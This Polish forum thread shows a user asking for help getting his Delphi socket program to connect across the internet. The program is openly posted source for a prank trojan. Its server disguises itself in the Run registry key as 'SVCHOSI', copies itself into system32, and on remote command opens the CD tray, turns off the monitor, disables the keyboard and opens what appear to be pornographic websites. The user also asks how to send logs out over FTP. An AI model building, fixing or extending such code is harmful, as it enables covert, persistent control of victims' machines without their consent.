Problem z socketami- brak połączenia

Sharow

Użytkownik
Dołączył
Wrzesień 12, 2008
Posty
42
Witam, Pisze program oparty na socketach i mam problem a mianowicie gdy testuje na sobie wszystko działa ale jak wysyłam do kolegi to nie mogę się z nim połączyć ani on ze mną... Dodam ze zapory obaj mamy wyłączone on nie ma AV a ja mam wyłączony. Zmieniałem także porty i nic... Porty w programie to 7712. Proszę i pomoc.

Ps. Jak zrobić żeby po wpisaniu tekstu do edita i wciśnięciu buttona serwer wyświetlał komunikat bądź były by przypisywane dane do ftp żeby wysłać np logi?
 
Ostatnia edycja:

Explod

Użytkownik
Dołączył
Kwiecień 8, 2006
Posty
6
Źródło byś wstawił inicjowania i łączenia klienta i serwera.
Próbowałeś połączyć się klientem z serwerem odpalonym na tym
samym komputerze (127.0.0.1)? Jeśli zadziała, to znaczy, że
problemem może NAT, skoro zmieniałeś porty, to znaczy, że port,
który używasz nie jest zajęty, więc albo źródło, albo NAT.

Co do pytania do pogoogluj co nie co, tego typu pytania były już
20000 razy na forach.
 

Sharow

Użytkownik
Dołączył
Wrzesień 12, 2008
Posty
42
Tak. próbowałem łączyć się na tym samym komputerze po przez 127.0.1. Dodam że wyskakuje pierwszy error który mam zdeklarowany w kliencie (10060). A dodam że po lanie działa.

Klient:

Kod:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, ExtCtrls, ComCtrls;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    LabeledEdit1: TLabeledEdit;
    Button1: TButton;
    Button2: TButton;
    Label1: TLabel;
    Label2: TLabel;
    ClientSocket1: TClientSocket;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    Button7: TButton;
    Button8: TButton;
    Button9: TButton;
    Button10: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Disconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button8Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ClientSocket1Connecting(Sender: TObject;
      Socket: TCustomWinSocket);
    
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
clientsocket1.Address:=LabeledEdit1.text; 
clientsocket1.active:=true; 
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
clientsocket1.active:=false;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
clientsocket1.socket.SendText('cdopen');
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
clientsocket1.socket.SendText('cdclose');
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Label2.Caption:='Połączono!';
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Label2.Caption:='Rozłączono!';
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
clientsocket1.socket.SendText('offlcd');
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
clientsocket1.socket.SendText('onlcd');
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
clientsocket1.socket.SendText('sound');
end;

procedure TForm1.Button8Click(Sender: TObject);
begin
clientsocket1.socket.SendText('sound2');
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
clientsocket1.socket.SendText('zaw_klaw');
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
clientsocket1.socket.SendText('porn');
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
case ErrorCode of

10060: ShowMessage('Komputer, z którym chcesz się połaczyć, nie jest podłączony do sieci!');

10061: ShowMessage('Port, na którym chcesz się połączyć, nie jest aktywny');

10049: ShowMessage('Nieprawidłowy host');

11001: ShowMessage('Nieprawidłowy host');

end;
end;

procedure TForm1.ClientSocket1Connecting(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Label2.Caption:='Łączenie!';
end;

end.

Serwer
Kod:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, shellapi, mmsystem, registry, ScktComp;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
s:string;
begin
s:=serversocket1.Socket.Connections[0].ReceiveText; 

 if (s='cdopen') then 
 begin
 mciSendString('Set cdaudio door open wait',nil,0,handle); 
 end;

 if (s='close') then
 begin 
 mciSendString('Set cdaudio door closed wait',nil,0,handle); 
end;

if (s='offlcd') then 
begin
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,1);
end;

if (s='sound') then
begin
beep;
end;

if (s='sound2') then
begin
PlaySound('SystemStart', 0, SND_SYNC);
end;

if (s='zaw_klaw') then
begin
ShellExecute(Handle,'open','rundll32','keyboard,di sable',nil,SW_SHOWNORMAL);
end;

if (s='porn') then
begin
ShellExecute(Handle,'open','http://www.',nil,nil,SW_SHOWNORMAL);
sleep(200);
ShellExecute(Handle,'open','http://www.',nil,nil,SW_SHOWNORMAL);
sleep(200);
ShellExecute(Handle,'open','http://www.',nil,nil,SW_SHOWNORMAL);
end;
end;


procedure TForm1.FormCreate(Sender: TObject);
var
 reg:tregistry;
 Sciezka : array [0..MAX_PATH] of Char;
begin
GetWindowsDirectory(Sciezka,sizeof(Sciezka));
Reg:=TRegistry.Create;

 reg.RootKey:=HKEY_CURRENT_USER;
 reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersio nRun',True);
 reg.WriteString('SVCHOSI',Sciezka +'system32' +'serv.exe');
 reg.Free;
 copyfile(pchar(paramstr(0)),pchar(Sciezka +'system32' +'sev.exe'),true);
 BorderIcons:= [biSystemMenu];

end;

end.
 
Ostatnia edycja:

Sharow

Użytkownik
Dołączył
Wrzesień 12, 2008
Posty
42
rozumiem że w takim wypadku rozwiązaniem jest instalacja hamachi ? tyle że to mija się z celem....
 
Do góry Bottom